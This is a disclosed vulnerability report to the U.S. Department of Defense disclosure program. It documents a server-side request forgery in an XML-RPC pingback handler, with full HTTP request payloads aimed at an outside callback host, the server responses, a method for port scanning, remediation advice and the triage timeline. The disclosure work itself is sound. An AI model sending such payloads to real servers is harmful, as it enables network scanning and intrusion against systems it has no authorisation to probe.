1

# SSRF on [redacted]

Share:

| | |
|---|---|
| State | ○ Resolved (Closed) |
| Disclosed | **October 9, 2019 12:15am +0530** |
| Reported To | **U.S. Dept Of Defense** |
| Weakness | Server-Side Request Forgery (SSRF) |
| Severity | High (7 ~ 8.9) |
| Participants | |
| Visibility | Disclosed (Full) |

Collapse

TIMELINE · EXPORT

twicedi submitted a report to U.S. Dept Of Defense. Sep 6th (about 1 year ago)

**Summary:**
The web application hosted on the "[redacted]" domain is affected by a Server Side Request Forgery (SSRF) vulnerability that could allows an attacker to force the application to make requests to arbitrary targets.

**Description:**
The affected handler is the "/xmlrpc/pingback/".
This handler receives an xml payload containing an arbitrary URL. This parameter is then used by the application to send a request to the target.

The following request contains a valid target (for test purpose I have temporary generated the following domain: http://8hqzrzlvw4nabsf9bj3wgsl3vu1kp9.burpcollaborator.net/ with the Burp Collaborator tool):

```
POST /xmlrpc/pingback/ HTTP/1.1
Host: [redacted]
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:62.0) Gecko/20100101 Firefox/62.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: COOKIE_SUPPORT=true; GUEST_LANGUAGE_ID=en_US; ANONYMOUS_USER_ID=2922001
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 305

<?xml version="1.0" encoding="UTF-8"?>
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param>
<value>http://8hqzrzlvw4nabsf9bj3wgsl3vu1kp9.burpcollaborator.net/</value>
</param>
<param>
<value>https://[redacted]/web/guest/home/</value>
</param>
</params>
</methodCall>
```

Response:

```
HTTP/1.1 200 OK
Content-Type: text/xml;charset=UTF-8
Server: Microsoft-IIS/8.5
```

```
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1
X-Powered-By: ASP.NET
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
Content-Length: 291
Date: Thu, 06 Sep 2018 07:34:54 GMT
Connection: close
Set-Cookie: JSESSIONID=3D2874915F19DB1CE69EBAE34C6F894C; Path=/; Secure; HttpOnly

<?xml version="1.0" encoding="UTF-8"?><methodResponse><fault><value><struct><member><name>faultCode</name><value><i4
```

If the response contains a "faultCode" with a value of 17 (<value><int>17</int></value>) then it means the port is open. In the following screenshot it is showed the log of the dns request sent by the DoD server.

[redacted]

Instead by using a non-existent domain as target (http://non.existent/):

```
POST /xmlrpc/pingback/ HTTP/1.1
Host: [redacted]
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:62.0) Gecko/20100101 Firefox/62.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: COOKIE_SUPPORT=true; GUEST_LANGUAGE_ID=en_US; ANONYMOUS_USER_ID=2922001
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 266

<?xml version="1.0" encoding="UTF-8"?>
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param>
<value>http://non.existent/</value>
</param>
<param>
<value>https://[redacted]/web/guest/home/</value>
</param>
</params>
</methodCall>
```

The response contains a different "faultCode" with a different "faultString":

```
HTTP/1.1 200 OK
Content-Type: text/xml;charset=UTF-8
Server: Microsoft-IIS/8.5
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1
X-Powered-By: ASP.NET
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
Content-Length: 282
Date: Thu, 06 Sep 2018 07:36:53 GMT
```

```
Connection: close
Set-Cookie: JSESSIONID=42FE4B60C1214FF84F72CFDD9E287A6C; Path=/; Secure; HttpOnly

<?xml version="1.0" encoding="UTF-8"?><methodResponse><fault><value><struct><member><name>faultCode</name><value><i4
```

By exploiting this SSRF an attacker may be able to scan the local or external networks to which the vulnerable server is connected to.

## Impact

The impact of exploiting a Server Side Request Forgery vulnerability mainly depends on how the web application uses the responses from the remote resource, such as:

- scan ports and IP addresses
- interact with some protocols such as Gopher
- discover the IP addresses of servers running behind a reverse proxy
- Denial of Services
- In some situation potentially remote code execution

## Step-by-step Reproduction Instructions

1. To exploit this issue an attacker has to craft a POST request, similar to the following, that contains the target URL:

```
POST /xmlrpc/pingback/ HTTP/1.1
Host: [redacted]
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:62.0) Gecko/20100101 Firefox/62.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: COOKIE_SUPPORT=true; GUEST_LANGUAGE_ID=en_US; ANONYMOUS_USER_ID=2922001
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 305

<?xml version="1.0" encoding="UTF-8"?>
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param>
<value>http://8hqzrzlvw4nabsf9bj3wgsl3vu1kp9.burpcollaborator.net/</value>
</param>
<param>
<value>https://[redacted]/web/guest/home/</value>
</param>
</params>
</methodCall>
```

## Suggested Mitigation/Remediation Actions

To prevent SSRF vulnerabilities in your web applications it is strongly advised to use a whitelist of allowed domains and protocols from where the web server can fetch remote resources.
If possible avoid using user input directly in functions that can make requests on behalf of the server.

I'm available for further clarification,

Best,
Davide

## Impact

The impact of exploiting a Server Side Request Forgery vulnerability mainly depends on how the web application uses the responses from the remote resource, such as:

- scan ports and IP addresses
- interact with some protocols such as Gopher

- discover the IP addresses of servers running behind a reverse proxy
- Denial of Services
- In some situation potentially remote code execution

BOT: U.S. Dept Of Defense posted a comment. Sep 6th (about 1 year ago)

Greetings from the Department of Defense (DoD),

Thank you for supporting the DoD Vulnerability Disclosure Program (VDP).

By submitting this report, you acknowledge understanding of, and agreement to, the DoD Vulnerability Disclosure Policy as detailed at @DeptofDefense.

The VDP Team will review your report to ensure compliance with the DoD Vulnerability Disclosure Policy. If your report is determined to be out-of-scope, it will be closed without action.

We will attempt to validate in-scope vulnerability reports and may request additional information from you if necessary. We will forward reports with validated vulnerabilities to DoD system owners for their action.

Our goal is to provide you with status updates not less than every two weeks until the reported vulnerability is resolved.

Regards,

The VDP Team

ag3nt-z3 updated the severity to High. Sep 7th (about 1 year ago)

ag3nt-z3 changed the status to ○ **Triaged**. Sep 7th (about 1 year ago)

Greetings,

We have validated the vulnerability you reported and are preparing to forward this report to the affected DoD system owner for resolution.

Thank you for bringing this vulnerability to our attention!

We will endeavor to answer any questions the system owners may have regarding this report; however, there is a possibility we will need to contact you if they require more information to resolve the vulnerability.

You will receive another status update after we have confirmed your report has been resolved by the system owner. If you have any questions, please let me know.

Thanks again for supporting the DoD Vulnerability Disclosure Program.

Regards,

The VDP Team

ag3nt-j1 closed the report and changed the status to ○ **Resolved**. Sep 14th (about 1 year ago)

Good news!

The vulnerability you reported has been resolved and this report is now closed. If you have any further questions or disagree that the report is resolved, please let us know.

Thank you for your time and effort to improve the security of the DoD information network.

Regards,

The VDP Team

twicedi requested to disclose this report. Sep 14th (about 1 year ago)

Thanks for the update @ag3nt-j1!

Can we disclose it?

Thanks!
Best,

Davide

agent-1 agreed to disclose this report. Oct 9th (3 days ago)

disclosure approved

This report has been disclosed. Oct 9th (3 days ago)